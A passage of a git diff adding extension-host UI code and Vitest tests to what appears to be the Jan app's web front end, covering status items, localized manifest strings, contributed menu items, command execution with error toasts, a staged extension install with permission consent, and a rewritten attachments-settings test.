vi.fn())++vi.mock('@/lib/extensions/host', async (importOriginal) => ({+ ...(await importOriginal<typeof import('@/lib/extensions/host')>()),+ getExtensionHost: () => hostRef.current,+}))+vi.mock('@/i18n/react-i18next-compat', async () => {+ const i18n = (await import('@/i18n/setup')).default+ return { useTranslation: () => ({ t: i18n.t, i18n }) }+})+vi.mock('sonner', () => ({ toast: { error: toastError } }))+// The footer reads the sidebar context; only its layout matters here.+vi.mock('@/components/ui/sidebar', () => ({+ SidebarFooter: (props: React.ComponentProps<'div'>) => <div {...props} />,+}))++let host: ExtensionHost+let activate: ReturnType<typeof createTestHost>['activate']++beforeEach(() => {+ const test = createTestHost()+ host = test.host+ activate = test.activate+ hostRef.current = host+ toastError.mockReset()+})++afterEach(async () => {+ await act(() => host.deactivateAll())+})++describe('StatusItems', () => {+ it('renders nothing without status items', () => {+ const { container } = render(<StatusItems />)+ expect(container).toBeEmptyDOMElement()+ })++ it('labels each item with its extension, highest priority first, and hides them after dispose', async () => {+ await act(() =>+ activate('acme.status', 'Acme Status', {+ statusItems: [+ { id: 'low', text: 'Low', priority: 1 },+ { id: 'high', text: 'High', tooltip: 'Very high', priority: 5 },+ ],+ })+ )+ render(<StatusItems />)+ const buttons = screen.getAllByRole('button')+ expect(buttons.map((b) => b.textContent)).toEqual(['High', 'Low'])+ expect(buttons[0]).toHaveAccessibleName('Extension: Acme Status - Very high')+ expect(buttons[1]).toHaveAccessibleName('Extension: Acme Status - Low')++ await act(() => host.deactivateAll())+ expect(screen.queryByRole('button')).toBeNull()+ })++ it('reflects setStatusItem updates', async () => {+ await act(() =>+ activate('acme.status', 'Acme Status', {+ statusItems: [{ id: 'sync', text: 'Idle' }],+ })+ )+ render(<StatusItems />)+ act(() =>+ host.contributions.setStatusItem('acme.status', 'sync', {+ text: 'Syncing',+ })+ )+ expect(screen.getByRole('button')).toHaveTextContent('Syncing')+ })++ it('runs its command on click and toasts a failure', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => undefined)+ const handler = vi.fn(() => {+ throw new Error('offline')+ })+ await act(() =>+ activate(+ 'acme.status',+ 'Acme Status',+ {+ commands: [{ id: 'sync', title: 'Sync now' }],+ statusItems: [{ id: 'sync', text: 'Idle', command: 'sync' }],+ },+ { sync: handler }+ )+ )+ render(<StatusItems />)+ await userEvent.click(screen.getByRole('button', { name: /Idle/ }))+ await waitFor(() =>+ expect(toastError).toHaveBeenCalledWith('Sync now (Acme Status) failed', {+ description: 'offline',+ })+ )+ expect(handler).toHaveBeenCalledWith({ location: 'statusItem' })+ })+})diff --git a/web-app/src/containers/extensions/__tests__/harness.ts b/web-app/src/containers/extensions/__tests__/harness.tsnew file mode 100644index 000000000..3289eaad5--- /dev/null+++ b/web-app/src/containers/extensions/__tests__/harness.ts@@ -0,0 +1,52 @@+import type {+ CommandHandler,+ Contributions,+ ExtensionModule,+ JanManifest,+} from '@janhq/extension-api'+import {+ ContributionStore,+ useContributions,+} from '@/lib/extensions/contributions'+import { ExtensionHost } from '@/lib/extensions/host'+import { builtin, manifest } from '@/lib/extensions/__tests__/fixtures'+import {+ memoryAppSettings,+ memorySecrets,+} from '@/lib/extensions/__tests__/memory'++/**+ * A real host writing into the app-wide `useContributions` store, as+ * `getExtensionHost()` does, but on in-memory backends.+ */+export function createTestHost() {+ const appSettings = memoryAppSettings()+ const secrets = memorySecrets()+ const host = new ExtensionHost({+ appSettings,+ secrets,+ notify: () => undefined,+ contributions: new ContributionStore(useContributions),+ })++ /** Activates a fixture extension binding `handlers` to its commands. */+ const activate = async (+ id: string,+ displayName: string,+ contributes: Contributions,+ handlers: Record<string, CommandHandler> = {},+ l10n?: JanManifest['l10n']+ ) => {+ const mod: ExtensionModule = {+ activate: (ctx) => {+ for (const [command, handler] of Object.entries(handlers))+ ctx.subscriptions.add(ctx.commands.registerCommand(command, handler))+ },+ }+ await host.activateBuiltin(+ builtin(manifest(id, { displayName, contributes, l10n }), mod)+ )+ }++ return { host, appSettings, secrets, activate }+}diff --git a/web-app/src/containers/extensions/__tests__/l10n.test.tsx b/web-app/src/containers/extensions/__tests__/l10n.test.tsxnew file mode 100644index 000000000..466715700--- /dev/null+++ b/web-app/src/containers/extensions/__tests__/l10n.test.tsx@@ -0,0 +1,172 @@+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'+import { act, render, screen } from '@testing-library/react'+import type { SettingContribution } from '@janhq/extension-api'+import type { ExtensionHost } from '@/lib/extensions/host'+import { useGeneralSetting } from '@/hooks/useGeneralSetting'+import { useContributions } from '@/lib/extensions/contributions'+import { listExtensionProviders } from '@/lib/extensions/providers'+import { SearchDialog } from '@/containers/dialogs/SearchDialog'+import { ExtensionSettingsForm } from '../ExtensionSettingsForm'+import { StatusItems } from '../StatusItems'+import { createTestHost } from './harness'++const hostRef = vi.hoisted(() => ({ current: undefined as unknown }))++vi.mock('@/lib/extensions/host', async (importOriginal) => ({+ ...(await importOriginal<typeof import('@/lib/extensions/host')>()),+ getExtensionHost: () => hostRef.current,+}))+vi.mock('@/i18n/react-i18next-compat', async () => {+ const i18n = (await import('@/i18n/setup')).default+ return { useTranslation: () => ({ t: i18n.t, i18n }) }+})+vi.mock('sonner', () => ({ toast: { error: vi.fn() } }))+vi.mock('@tanstack/react-router', () => ({ useNavigate: () => vi.fn() }))+vi.mock('@/components/ui/sidebar', () => ({+ SidebarFooter: (props: React.ComponentProps<'div'>) => <div {...props} />,+}))++const l10n = {+ en: {+ name: 'Greeter',+ 'greet.title': 'Say hello',+ 'greet.category': 'Greetings',+ 'status.text': 'Ready',+ 'status.tooltip': 'Greeter is ready',+ 'setting.title': 'Greeting',+ 'setting.description': 'What to say',+ 'provider.name': 'Greeter Cloud',+ 'setting.hint': 'Type a greeting',+ },+ ja: {+ name: 'Aisatsu',+ 'greet.title': 'Konnichiwa',+ 'greet.category': 'Aisatsu-rui',+ 'status.text': 'Junbi OK',+ 'setting.title': 'Aisatsu no kotoba',+ 'setting.hint': 'Aisatsu wo nyuryoku',+ },+}++const contributes = {+ commands: [+ { id: 'greet', title: '%greet.title%', category: '%greet.category%' },+ ],+ menus: { commandPalette: [{ command: 'greet' }] },+ statusItems: [+ { id: 'status', text: '%status.text%', tooltip: '%status.tooltip%' },+ ],+ settings: [+ {+ key: 'greeting',+ title: '%setting.title%',+ description: '%setting.description%',+ control: {+ type: 'input' as const,+ placeholder: '%setting.hint%',+ default: '',+ },+ },+ ],+}++let host: ExtensionHost+let activate: ReturnType<typeof createTestHost>['activate']++const setLanguage = (language: Language) =>+ act(() => useGeneralSetting.getState().setCurrentLanguage(language))++const NO_SETTINGS: SettingContribution[] = []++function Surfaces() {+ const settings = useContributions(+ (s) => s.settings['acme.greeter'] ?? NO_SETTINGS+ )+ return (+ <>+ <SearchDialog open onOpenChange={() => undefined} />+ <StatusItems />+ <ExtensionSettingsForm extensionId="acme.greeter" settings={settings} />+ </>+ )+}++beforeEach(async () => {+ const test = createTestHost()+ host = test.host+ activate = test.activate+ hostRef.current = host+ await act(() => activate('acme.greeter', '%name%', contributes, {}, l10n))+})++afterEach(async () => {+ setLanguage('en')+ await act(() => host.deactivateAll())+})++describe('manifest l10n', () => {+ it('renders %key% strings in the app language and follows a switch', () => {+ render(<Surfaces />)+ expect(+ screen.getByRole('button', { name: /Greetings: Say hello/ })+ ).toHaveTextContent('Greeter')+ // The open palette is modal and hides its siblings from the a11y tree.+ expect(screen.getByLabelText('Extension: Greeter - Greeter is ready')).toHaveTextContent('Ready')+ expect(screen.getByText('Greeting')).toBeInTheDocument()+ expect(screen.getByText('What to say')).toBeInTheDocument()+ expect(screen.getByPlaceholderText('Type a greeting')).toBeInTheDocument()++ setLanguage('ja')+ expect(+ screen.getByRole('button', { name: /Aisatsu-rui: Konnichiwa/ })+ ).toHaveTextContent('Aisatsu')+ // `status.tooltip` has no ja entry, so it falls back to en.+ expect(+ screen.getByLabelText('Extension: Aisatsu - Greeter is ready')+ ).toHaveTextContent('Junbi OK')+ expect(screen.getByText('Aisatsu no kotoba')).toBeInTheDocument()+ expect(screen.getByPlaceholderText('Aisatsu wo nyuryoku')).toBeInTheDocument()+ expect(screen.getByText('What to say')).toBeInTheDocument()+ expect(screen.queryByText(/%/)).toBeNull()+ })++ it('drops the tables when the extension unloads', async () => {+ render(<StatusItems />)+ expect(useContributions.getState().extensions['acme.greeter'].l10n).toEqual(+ l10n+ )+ await act(() => host.deactivateAll())+ expect(useContributions.getState().extensions).not.toHaveProperty(+ 'acme.greeter'+ )+ expect(screen.queryByRole('button')).toBeNull()+ })+})++describe('provider l10n', () => {+ it('names a contributed provider and its extension in the app language', async () => {+ await act(() =>+ activate(+ 'acme.cloud',+ '%name%',+ {+ providers: [+ {+ id: 'cloud',+ displayName: '%provider.name%',+ baseUrl: 'https://api.acme.dev/v1',+ },+ ],+ },+ {},+ l10n+ )+ )+ host.contributions.registerProvider('acme.cloud', 'cloud', {})+ setLanguage('ja')+ const [provider] = listExtensionProviders(useContributions.getState())+ expect(provider.extensionName).toBe('Aisatsu')+ // No ja entry: en.+ expect(provider.contribution.displayName).toBe('Greeter Cloud')+ })+})diff --git a/web-app/src/containers/extensions/menuItems.ts b/web-app/src/containers/extensions/menuItems.tsnew file mode 100644index 000000000..9d80e0ef3--- /dev/null+++ b/web-app/src/containers/extensions/menuItems.ts@@ -0,0 +1,113 @@+import { useMemo } from 'react'+import type {+ CommandContext,+ MenuLocation,+ WhenClause,+} from '@janhq/extension-api'+import { own, useContributions } from '@/lib/extensions/contributions'+import { useLocalize } from '@/lib/extensions/l10n'+import { useMessages } from '@/hooks/useMessages'++/** One contributed menu entry, resolved against its command and extension. */+export interface ContributedMenuItem {+ extensionId: string+ extensionName: string+ commandId: string+ title: string+ category?: string+ group?: string+ order?: number+}++/** The context a menu at `location` hands to the commands it runs. */+export type MenuContext<L extends MenuLocation> = Extract<+ CommandContext,+ { location: L }+>++const threadIdOf = (context: CommandContext): string | undefined =>+ 'threadId' in context ? context.threadId : undefined++function matches(+ when: WhenClause | undefined,+ context: CommandContext,+ hasMessages: boolean+): boolean {+ switch (when) {+ case undefined:+ case 'always':+ return true+ case 'message.role == assistant':+ return (+ context.location === 'message/actions' && context.role === 'assistant'+ )+ case 'message.role == user':+ return context.location === 'message/actions' && context.role === 'user'+ case 'thread.hasMessages':+ return hasMessages+ }+}++const compare = (a: ContributedMenuItem, b: ContributedMenuItem) =>+ (a.group ?? '').localeCompare(b.group ?? '') ||+ (a.order ?? 0) - (b.order ?? 0) ||+ a.title.localeCompare(b.title)++/**+ * The entries every extension contributed to `location` whose `when` clause+ * holds in `context`, sorted by group, order and title.+ */+export function useContributedMenuItems<L extends MenuLocation>(+ location: L,+ menuContext: MenuContext<L>+): ContributedMenuItem[] {+ const context: CommandContext = menuContext+ // Select the stable slices and derive in a memo: a selector building a new+ // array would re-render on every store change.+ const extensions = useContributions((s) => s.extensions)+ const menus = useContributions((s) => s.menus)+ const commands = useContributions((s) => s.commands)+ const localize = useLocalize()+ const threadId = threadIdOf(context)+ const threadHasMessages = useMessages((s) =>+ threadId ? (s.messages[threadId]?.length ?? 0) > 0 : false+ )+ // A message menu is by definition on a thread that has one.+ const hasMessages =+ context.location === 'message/actions' || threadHasMessages++ const resolved = useMemo(+ () =>+ Object.entries(menus)+ .flatMap(([extensionId, byLocation]) =>+ (byLocation[location] ?? []).flatMap((item) => {+ const command = own(own(commands, extensionId), item.command)+ const extension = extensions[extensionId]+ if (!command || !extension) return []+ return [+ {+ when: item.when,+ item: {+ extensionId,+ extensionName: localize(extension, extension.displayName),+ commandId: command.id,+ title: localize(extension, command.title),+ category:+ command.category === undefined+ ? undefined+ : localize(extension, command.category),+ group: item.group,+ order: item.order,+ },+ },+ ]+ })+ )+ .sort((a, b) => compare(a.item, b.item)),+ [menus, commands, extensions, location, localize]+ )++ return resolved+ .filter(({ when }) => matches(when, context, hasMessages))+ .map(({ item }) => item)+}diff --git a/web-app/src/containers/extensions/useExecuteCommand.ts b/web-app/src/containers/extensions/useExecuteCommand.tsnew file mode 100644index 000000000..c2b617b11--- /dev/null+++ b/web-app/src/containers/extensions/useExecuteCommand.ts@@ -0,0 +1,51 @@+import { useCallback } from 'react'+import { toast } from 'sonner'+import type { CommandContext } from '@janhq/extension-api'+import { useTranslation } from '@/i18n/react-i18next-compat'+import { getExtensionHost } from '@/lib/extensions/host'+import { own, useContributions } from '@/lib/extensions/contributions'+import { localize } from '@/lib/extensions/l10n'++/**+ * Runs a contributed command from host UI. A failure never reaches the+ * caller: it is logged and shown as a toast naming the command and its+ * extension, so a broken extension cannot break the menu that ran it.+ */+export function useExecuteCommand() {+ const { t } = useTranslation()+ return useCallback(+ async (+ extensionId: string,+ commandId: string,+ context: CommandContext+ ): Promise<void> => {+ try {+ await getExtensionHost().contributions.executeCommand(+ extensionId,+ commandId,+ context+ )+ } catch (error) {+ console.error(+ `Command '${commandId}' of '${extensionId}' failed:`,+ error+ )+ const state = useContributions.getState()+ const extension = own(state.extensions, extensionId)+ const title = own(own(state.commands, extensionId), commandId)?.title+ toast.error(+ t('extensions:commandFailed', {+ command: title === undefined ? commandId : localize(extension, title),+ extension: extension+ ? localize(extension, extension.displayName)+ : extensionId,+ }),+ {+ description: error instanceof Error ? error.message : String(error),+ }+ )+ }+ },+ [t]+ )+}diff --git a/web-app/src/containers/extensions/useExtensions.ts b/web-app/src/containers/extensions/useExtensions.tsnew file mode 100644index 000000000..bfb0f9cdc--- /dev/null+++ b/web-app/src/containers/extensions/useExtensions.ts@@ -0,0 +1,79 @@+import { useCallback, useEffect, useState } from 'react'+import { toast } from 'sonner'+import { useServiceHub } from '@/hooks/useServiceHub'+import { useTranslation } from '@/i18n/react-i18next-compat'+import { getExtensionHost, type HostedExtension } from '@/lib/extensions/host'+import { reloadInstalled } from '@/lib/extensions/installed-reload'+import type {+ ExtensionsService,+ ListResult,+} from '@/services/extensions/types'++export const errorMessage = (error: unknown): string =>+ error instanceof Error ? error.message : String(error)++/** The host's extensions, re-read whenever one changes state. */+export function useHostedExtensions(): HostedExtension[] {+ const host = getExtensionHost()+ const [extensions, setExtensions] = useState(() => host.list())+ useEffect(() => {+ const subscription = host.onDidChange(() => setExtensions(host.list()))+ setExtensions(host.list())+ return () => subscription.dispose()+ }, [host])+ return extensions+}++export interface InstalledRegistry {+ service: ExtensionsService+ supported: boolean+ /** Undefined until the first read finishes. */+ registry?: ListResult+ refresh: () => Promise<void>+ /** True while a `change` runs; the controls that start one wait for it. */+ busy: boolean+ /**+ * Runs a registry change, then brings the running copy of `reloadId` in+ * line with it and re-reads the registry. Failures become a toast.+ */+ change: (action: () => Promise<unknown>, reloadId?: string) => Promise<void>+}++/** The installed-extensions registry of the install pipeline. */+export function useInstalledRegistry(): InstalledRegistry {+ const { t } = useTranslation()+ const service = useServiceHub().extensions()+ const supported = service.isSupported()+ const [registry, setRegistry] = useState<ListResult>()+ const [pending, setPending] = useState(0)++ const refresh = useCallback(async () => {+ try {+ setRegistry(await service.list())+ } catch (e) {+ toast.error(t('extensions:errors.list', { error: errorMessage(e) }))+ }+ }, [service, t])++ useEffect(() => {+ if (supported) void refresh()+ }, [supported, refresh])++ const change = useCallback(+ async (action: () => Promise<unknown>, reloadId?: string) => {+ setPending((n) => n + 1)+ try {+ await action()+ if (reloadId) await reloadInstalled(reloadId)+ } catch (e) {+ toast.error(t('extensions:errors.change', { error: errorMessage(e) }))+ } finally {+ setPending((n) => n - 1)+ }+ await refresh()+ },+ [refresh, t]+ )++ return { service, supported, registry, refresh, busy: pending > 0, change }+}diff --git a/web-app/src/containers/extensions/useStagedInstall.tsx b/web-app/src/containers/extensions/useStagedInstall.tsxnew file mode 100644index 000000000..e1d7725ba--- /dev/null+++ b/web-app/src/containers/extensions/useStagedInstall.tsx@@ -0,0 +1,99 @@+import { useState, type ReactNode } from 'react'+import type { PermissionString } from '@janhq/extension-api'+import { toast } from 'sonner'+import { useTranslation } from '@/i18n/react-i18next-compat'+import { localize } from '@/lib/extensions/l10n'+import { reloadInstalled } from '@/lib/extensions/installed-reload'+import type { StagedInstall } from '@/services/extensions/types'+import { ConsentDialog } from './ConsentDialog'+import { PermissionDiffDialog } from './PermissionDiffDialog'+import { errorMessage, type InstalledRegistry } from './useExtensions'++interface Pending {+ staged: StagedInstall+ sourceName?: string+}++/**+ * Stage, consent, confirm: the one install path for files and indexes.+ * A first install asks for every permission; an update only for what it+ * adds. Whatever is not confirmed is discarded from staging.+ */+export function useStagedInstall({ service, refresh }: InstalledRegistry): {+ /** Stages with `stage` and opens the matching consent dialog. */+ begin: (stage: () => Promise<StagedInstall>, sourceName?: string) => Promise<void>+ dialog: ReactNode+} {+ const { t } = useTranslation()+ const [pending, setPending] = useState<Pending>()+ const [busy, setBusy] = useState(false)++ // A toast, like a failed confirm: staging starts from the Installed tab+ // (a file) and the Catalog tab (an install or update), and an inline+ // message in one of them is invisible from the other.+ const begin = async (+ stage: () => Promise<StagedInstall>,+ sourceName?: string+ ) => {+ try {+ setPending({ staged: await stage(), sourceName })+ } catch (e) {+ toast.error(t('extensions:errors.stage', { error: errorMessage(e) }))+ }+ }++ const cancel = () => {+ if (!pending) return+ setPending(undefined)+ service.discardStage(pending.staged.stageId).catch(() => undefined)+ }++ const confirm = async (granted: PermissionString[]) => {+ if (!pending) return+ const { manifest, stageId } = pending.staged+ setBusy(true)+ try {+ const entry = await service.confirmInstall(stageId, granted)+ toast.success(+ t('extensions:install.done', {+ name: localize(entry.manifest, entry.manifest.displayName),+ version: entry.version,+ })+ )+ await reloadInstalled(entry.id)+ } catch (e) {+ // A refused confirm leaves a stage nothing can use; free its disk.+ service.discardStage(stageId).catch(() => undefined)+ // Rust may have installed it before a later check failed; the host+ // then follows the registry whichever way it went.+ await reloadInstalled(manifest.id).catch(() => undefined)+ toast.error(+ t('extensions:errors.install', {+ name: localize(manifest, manifest.displayName),+ error: errorMessage(e),+ })+ )+ } finally {+ setBusy(false)+ setPending(undefined)+ await refresh()+ }+ }++ const props = pending && {+ staged: pending.staged,+ sourceName: pending.sourceName,+ onConfirm: confirm,+ onCancel: cancel,+ busy,+ }+ const dialog = props ? (+ props.staged.existing ? (+ <PermissionDiffDialog {...props} />+ ) : (+ <ConsentDialog {...props} />+ )+ ) : null++ return { begin, dialog }+}diff --git a/web-app/src/hooks/__tests__/useAttachments.test.ts b/web-app/src/hooks/__tests__/useAttachments.test.tsindex ed4b309ad..6e64530e4 100644--- a/web-app/src/hooks/__tests__/useAttachments.test.ts+++ b/web-app/src/hooks/__tests__/useAttachments.test.ts@@ -1,394 +1,184 @@-import { describe, it, expect, beforeEach, vi } from 'vitest'-import { act } from '@testing-library/react'--// Mock ExtensionManager before importing the store-const mockGetSettings = vi.fn()-const mockUpdateSettings = vi.fn()-const mockGetRag = vi.fn()--vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: () => ({- get: mockGetRag,- }),- },-}))--vi.mock('@janhq/core', () => ({- ExtensionTypeEnum: { RAG: 'rag' },+import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'+import type { SettingContribution } from '@janhq/extension-api'+import { ExtensionHost } from '@/lib/extensions/host'+import { builtin, manifest } from '@/lib/extensions/__tests__/fixtures'+import {+ memoryAppSettings,+ memorySecrets,+} from '@/lib/extensions/__tests__/memory'+import rag from '../../../../extensions/rag-extension/package.json'++const hostRef = vi.hoisted(() => ({ current: undefined as unknown }))++vi.mock('@/lib/extensions/host', async (importOriginal) => ({+ ...(await importOriginal<typeof import('@/lib/extensions/host')>()),+ getExtensionHost: () => hostRef.current,}))-describe('useAttachments', () => {- let initialState: any-- beforeEach(async () => {- vi.clearAllMocks()- mockGetRag.mockReturnValue(undefined)-- // Fully reset the Zustand store to its default state before each test so- // state does not leak across tests (the store is a module-level singleton).- const { useAttachments } = await import('../useAttachments')- if (!initialState) {- const s = useAttachments.getState()- initialState = {- enabled: true,- maxFileSizeMB: 20,- retrievalLimit: 3,- retrievalThreshold: 0.3,- chunkSizeChars: 512,- overlapChars: 64,- searchMode: 'auto',- parseMode: 'auto',- autoInlineContextRatio: 0.75,- settingsDefs: [],- loadSettingsDefs: s.loadSettingsDefs,- setEnabled: s.setEnabled,- setMaxFileSizeMB: s.setMaxFileSizeMB,- setRetrievalLimit: s.setRetrievalLimit,- setRetrievalThreshold: s.setRetrievalThreshold,- setChunkSizeChars: s.setChunkSizeChars,- setOverlapChars: s.setOverlapChars,- setSearchMode: s.setSearchMode,- setParseMode: s.setParseMode,- setAutoInlineContextRatio: s.setAutoInlineContextRatio,- }- }- useAttachments.setState(initialState, true)- })-- it('should have correct default values', async () => {- const { useAttachments } = await import('../useAttachments')-- const state = useAttachments.getState()- expect(state.enabled).toBe(true)- expect(state.maxFileSizeMB).toBe(20)- expect(state.retrievalLimit).toBe(3)- expect(state.retrievalThreshold).toBe(0.3)- expect(state.chunkSizeChars).toBe(512)- expect(state.overlapChars).toBe(64)- expect(state.searchMode).toBe('auto')- expect(state.parseMode).toBe('auto')- expect(state.autoInlineContextRatio).toBe(0.75)- expect(state.settingsDefs).toEqual([])- })-- it('should set enabled', async () => {- const { useAttachments } = await import('../useAttachments')+import {+ RAG_EXTENSION_ID,+ initAttachments,+ useAttachments,+} from '../useAttachments'- await act(async () => {- await useAttachments.getState().setEnabled(false)- })+const settings = rag.jan.contributes.settings as SettingContribution[]+const initial = useAttachments.getState()- expect(useAttachments.getState().enabled).toBe(false)- })+let host: ExtensionHost+let appSettings: ReturnType<typeof memoryAppSettings>+let stop: (() => void) | undefined- it('should set maxFileSizeMB', async () => {- const { useAttachments } = await import('../useAttachments')-- await act(async () => {- await useAttachments.getState().setMaxFileSizeMB(50)+async function activateRag() {+ await host.activateBuiltin(+ builtin(manifest(RAG_EXTENSION_ID, { contributes: { settings } }), {+ activate: () => undefined,})+ )+}- expect(useAttachments.getState().maxFileSizeMB).toBe(50)- })-- it('should set retrievalLimit', async () => {- const { useAttachments } = await import('../useAttachments')+const stored = () =>+ JSON.parse(appSettings.data.get(`extension:${RAG_EXTENSION_ID}:settings`) ?? '{}')- await act(async () => {- await useAttachments.getState().setRetrievalLimit(10)- })-- expect(useAttachments.getState().retrievalLimit).toBe(10)+beforeEach(() => {+ appSettings = memoryAppSettings()+ host = new ExtensionHost({+ appSettings,+ secrets: memorySecrets(),+ notify: vi.fn(),})+ hostRef.current = host+ useAttachments.setState(initial, true)+})- it('should set retrievalThreshold', async () => {- const { useAttachments } = await import('../useAttachments')-- await act(async () => {- await useAttachments.getState().setRetrievalThreshold(0.5)- })-- expect(useAttachments.getState().retrievalThreshold).toBe(0.5)- })-- it('should set chunkSizeChars', async () => {- const { useAttachments } = await import('../useAttachments')-- await act(async () => {- await useAttachments.getState().setChunkSizeChars(1024)- })-- expect(useAttachments.getState().chunkSizeChars).toBe(1024)- })-- it('should set overlapChars', async () => {- const { useAttachments } = await import('../useAttachments')-- await act(async () => {- await useAttachments.getState().setOverlapChars(128)- })-- expect(useAttachments.getState().overlapChars).toBe(128)- })-- it('should set searchMode', async () => {- const { useAttachments } = await import('../useAttachments')-- await act(async () => {- await useAttachments.getState().setSearchMode('ann')- })-- expect(useAttachments.getState().searchMode).toBe('ann')- })-- it('should set parseMode', async () => {- const { useAttachments } = await import('../useAttachments')-- await act(async () => {- await useAttachments.getState().setParseMode('inline')- })-- expect(useAttachments.getState().parseMode).toBe('inline')- })-- it('should set autoInlineContextRatio', async () => {- const { useAttachments } = await import('../useAttachments')-- await act(async () => {- await useAttachments.getState().setAutoInlineContextRatio(0.5)- })-- expect(useAttachments.getState().autoInlineContextRatio).toBe(0.5)- })-- it('should call updateSettings on RAG extension when setting enabled', async () => {- mockGetRag.mockReturnValue({- getSettings: mockGetSettings,- updateSettings: mockUpdateSettings,- })-- const { useAttachments } = await import('../useAttachments')-- await act(async () => {- await useAttachments.getState().setEnabled(false)- })-- expect(mockUpdateSettings).toHaveBeenCalledWith([- { key: 'enabled', controllerProps: { value: false } },- ])- })-- it('should update settingsDefs when setting values with existing defs', async () => {- const { useAttachments } = await import('../useAttachments')-- // Set up initial settingsDefs- act(() => {- useAttachments.setState({- settingsDefs: [- { key: 'enabled', controllerProps: { value: true } } as any,- { key: 'max_file_size_mb', controllerProps: { value: 20 } } as any,- ],- })- })-- await act(async () => {- await useAttachments.getState().setEnabled(false)- })-- const defs = useAttachments.getState().settingsDefs- const enabledDef = defs.find((d) => d.key === 'enabled')- expect((enabledDef as any)?.controllerProps?.value).toBe(false)- })-- it('should load settings defs from RAG extension', async () => {- const mockDefs = [- { key: 'enabled', controllerProps: { value: false } },- { key: 'max_file_size_mb', controllerProps: { value: 50 } },- { key: 'retrieval_limit', controllerProps: { value: 5 } },- { key: 'search_mode', controllerProps: { value: 'linear' } },- { key: 'parse_mode', controllerProps: { value: 'embeddings' } },- { key: 'auto_inline_context_ratio', controllerProps: { value: 0.9 } },- ]-- mockGetRag.mockReturnValue({- getSettings: vi.fn().mockResolvedValue(mockDefs),- updateSettings: mockUpdateSettings,- })-- const { useAttachments } = await import('../useAttachments')+afterEach(async () => {+ stop?.()+ stop = undefined+ await host.deactivateAll()+})- let success: boolean = false- await act(async () => {- success = await useAttachments.getState().loadSettingsDefs()+describe('useAttachments', () => {+ it('has the manifest defaults before anything loads', () => {+ const state = useAttachments.getState()+ expect(state).toMatchObject({+ enabled: true,+ maxFileSizeMB: 100,+ retrievalLimit: 3,+ retrievalThreshold: 0.3,+ chunkSizeChars: 512,+ overlapChars: 64,+ searchMode: 'auto',+ parseMode: 'auto',+ autoInlineContextRatio: 0.75,})-- expect(success).toBe(true)- expect(useAttachments.getState().enabled).toBe(false)- expect(useAttachments.getState().maxFileSizeMB).toBe(50)- expect(useAttachments.getState().retrievalLimit).toBe(5)- expect(useAttachments.getState().searchMode).toBe('linear')- expect(useAttachments.getState().parseMode).toBe('embeddings')- expect(useAttachments.getState().autoInlineContextRatio).toBe(0.9)+ expect(state.settingsDefs).toEqual([])})- it('should return false when RAG extension not found', async () => {- mockGetRag.mockReturnValue(undefined)-- const { useAttachments } = await import('../useAttachments')-- let success: boolean = true- await act(async () => {- success = await useAttachments.getState().loadSettingsDefs()- })-- expect(success).toBe(false)+ it('returns false while the rag built-in is not active', async () => {+ expect(await useAttachments.getState().loadSettingsDefs()).toBe(false)})- it('should return false when getSettings returns non-array', async () => {- mockGetRag.mockReturnValue({- getSettings: vi.fn().mockResolvedValue('not-an-array'),- })-- const { useAttachments } = await import('../useAttachments')-- let success: boolean = true- await act(async () => {- success = await useAttachments.getState().loadSettingsDefs()+ it('loads the stored values and one def per declared setting', async () => {+ appSettings.data.set(+ `extension:${RAG_EXTENSION_ID}:settings`,+ JSON.stringify({ enabled: false, retrieval_limit: 5, search_mode: 'linear' })+ )+ await activateRag()+ expect(await useAttachments.getState().loadSettingsDefs()).toBe(true)+ const state = useAttachments.getState()+ expect(state).toMatchObject({+ enabled: false,+ retrievalLimit: 5,+ searchMode: 'linear',+ maxFileSizeMB: 100,})-- expect(success).toBe(false)+ expect(state.settingsDefs.map((d) => d.key)).toEqual(settings.map((s) => s.key))})- it('should return false when loadSettingsDefs throws', async () => {- mockGetRag.mockReturnValue({- getSettings: vi.fn().mockRejectedValue(new Error('boom')),+ it('renders numeric settings as number inputs with their range and i18n keys', async () => {+ await activateRag()+ await useAttachments.getState().loadSettingsDefs()+ const def = useAttachments+ .getState()+ .settingsDefs.find((d) => d.key === 'max_file_size_mb')+ expect(def).toMatchObject({+ controllerType: 'input',+ titleKey: 'settings:attachments.maxFile',+ descriptionKey: 'settings:attachments.maxFileDesc',+ controllerProps: { type: 'number', min: 1, max: 200, step: 1, value: 100 },})-- const { useAttachments } = await import('../useAttachments')-- let success: boolean = true- await act(async () => {- success = await useAttachments.getState().loadSettingsDefs()+ const mode = useAttachments+ .getState()+ .settingsDefs.find((d) => d.key === 'search_mode')+ expect(mode).toMatchObject({+ controllerType: 'dropdown',+ controllerProps: { value: 'auto' },})-- expect(success).toBe(false)})- describe('setters persist to the RAG extension and patch settingsDefs', () => {+ describe('setters write to the host settings store', () => {const cases = [- {- name: 'setMaxFileSizeMB',- key: 'max_file_size_mb',- stateKey: 'maxFileSizeMB',- value: 99,- },- {- name: 'setRetrievalLimit',- key: 'retrieval_limit',- stateKey: 'retrievalLimit',- value: 7,- },- {- name: 'setRetrievalThreshold',- key: 'retrieval_threshold',- stateKey: 'retrievalThreshold',- value: 0.7,- },- {- name: 'setChunkSizeChars',- key: 'chunk_size_chars',- stateKey: 'chunkSizeChars',- value: 2048,- },- {- name: 'setOverlapChars',- key: 'overlap_chars',- stateKey: 'overlapChars',- value: 256,- },- {- name: 'setSearchMode',- key: 'search_mode',- stateKey: 'searchMode',- value: 'linear' as const,- },- {- name: 'setParseMode',- key: 'parse_mode',- stateKey: 'parseMode',- value: 'embeddings' as const,- },- {- name: 'setAutoInlineContextRatio',- key: 'auto_inline_context_ratio',- stateKey: 'autoInlineContextRatio',- value: 0.42,- },+ ['setEnabled', 'enabled', 'enabled', false],+ ['setMaxFileSizeMB', 'max_file_size_mb', 'maxFileSizeMB', 99],+ ['setRetrievalLimit', 'retrieval_limit', 'retrievalLimit', 7],+ ['setRetrievalThreshold', 'retrieval_threshold', 'retrievalThreshold', 0.7],+ ['setChunkSizeChars', 'chunk_size_chars', 'chunkSizeChars', 2048],+ ['setOverlapChars', 'overlap_chars', 'overlapChars', 256],+ ['setSearchMode', 'search_mode', 'searchMode', 'linear'],+ ['setParseMode', 'parse_mode', 'parseMode', 'embeddings'],+ ['setAutoInlineContextRatio', 'auto_inline_context_ratio', 'autoInlineContextRatio', 0.45],] as const- cases.forEach(({ name, key, stateKey, value }) => {- it(`${name} 